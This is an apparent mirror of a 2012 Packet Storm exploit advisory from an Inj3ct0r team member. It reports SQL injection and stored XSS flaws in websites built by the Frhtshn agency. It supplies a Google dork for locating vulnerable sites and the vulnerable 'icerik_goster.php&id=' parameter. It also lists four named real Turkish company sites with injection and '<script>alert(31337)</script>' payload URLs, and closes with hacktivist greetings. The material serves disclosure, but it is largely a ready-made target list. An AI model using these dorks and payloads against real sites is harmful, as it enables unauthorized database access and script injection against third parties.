Lucene search
K

Frhtshn SQL Injection / Cross Site Scripting

🗓️ 04 Apr 2012 00:00:00Reported by the_cyber_nuxbieType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 15 Views

SQL Injection and Cross Site Scripting vulnerabilities in Frhtshn web applications discovered by TheCyberNuxbie. Exploit details and sample vulnerable URLs included

Code
`1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0  
0 _ __ __ __ 1  
1 /' \ __ /'__`\ /\ \__ /'__`\ 0  
0 /\_, \ ___ /\_\/\_\ \ \ ___\ \ ,_\/\ \/\ \ _ ___ 1  
1 \/_/\ \ /' _ `\ \/\ \/_/_\_<_ /'___\ \ \/\ \ \ \ \/\`'__\ 0  
0 \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/ 1  
1 \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\ 0  
0 \/_/\/_/\/_/\ \_\ \/___/ \/____/ \/__/ \/___/ \/_/ 1  
1 \ \____/ >> Exploit database separated by exploit 0  
0 \/___/ type (local, remote, DoS, etc.) 1  
1 1  
0 [x] Official Website: http://www.1337day.com 0  
1 [x] Support E-mail : mr.inj3ct0r[at]gmail[dot]com 1  
0 0  
1 $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ 1  
0 I'm NuxbieCyber Member From Inj3ct0r TEAM 1  
1 $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ 0  
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=-1  
  
==========================================================================  
<<<:>>> Frhtshn - SQLi/XSS Multiple Vulnerability <<:>>>  
==========================================================================  
  
- Discovered By:  
||| TheCyberNuxbie - Independent Security Research |||  
<<< [email protected] >>> CP: +62856-2538-963  
[ www.thecybernuxbie.com ] $ YM: nux_exploit  
  
- Info WebApps:  
This Content Develop By Frhtshn:  
http://www.frhtshn.com/  
  
- Google Dork:  
intext:"Design & Development by frhtshn"  
  
- Exploit Concept:  
http://lokalisasi/?i=icerik_goster.php&id=[SQL Injection]  
http://lokalisasi/?i=icerik_goster.php&id=[XSS]  
  
- Sample Web SQL Injection Vulnerability:  
http://www.tipor.com.tr/?i=icerik_goster.php&id=42' + [SQL Injection]  
http://www.argonltd.com.tr/?i=icerik_goster.php&id=40' + [SQL Injection]  
http://www.anios.com.tr/?i=icerik_goster.php&id=25' + [SQL Injection]  
http://www.tiritoglu.com.tr/?i=icerik_goster.php&id=5' + [SQL Injection]  
  
- Sample Web Persistent XSS Vulnerability:  
http://www.tipor.com.tr/?i=icerik_goster.php&id=<script>alert(31337);</script> <:- [XSS]  
http://www.argonltd.com.tr/?i=icerik_goster.php&id=<script>alert(31337);</script> <:- [XSS]  
http://www.anios.com.tr/?i=icerik_goster.php&id=<script>alert(31337);</script> <:- [XSS]  
http://www.tiritoglu.com.tr/?i=icerik_goster.php&id=<script>alert(31337);</script> <:- [XSS]  
  
-:>>> Special Thanks <<<:-  
...:::' 1337day Inj3ct0r TEAM ':::...  
[ All Staff & 31337 Member Inj3ct0r TEAM ]  
, And All Inj3ct0r Fans & All Hacktivist,,, :-)  
  
#########################################################################  
[ Inj3ct0r | PacketStromSecurity | Exploit-DB | Exploit-ID | Devilzc0de ]  
#########################################################################  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation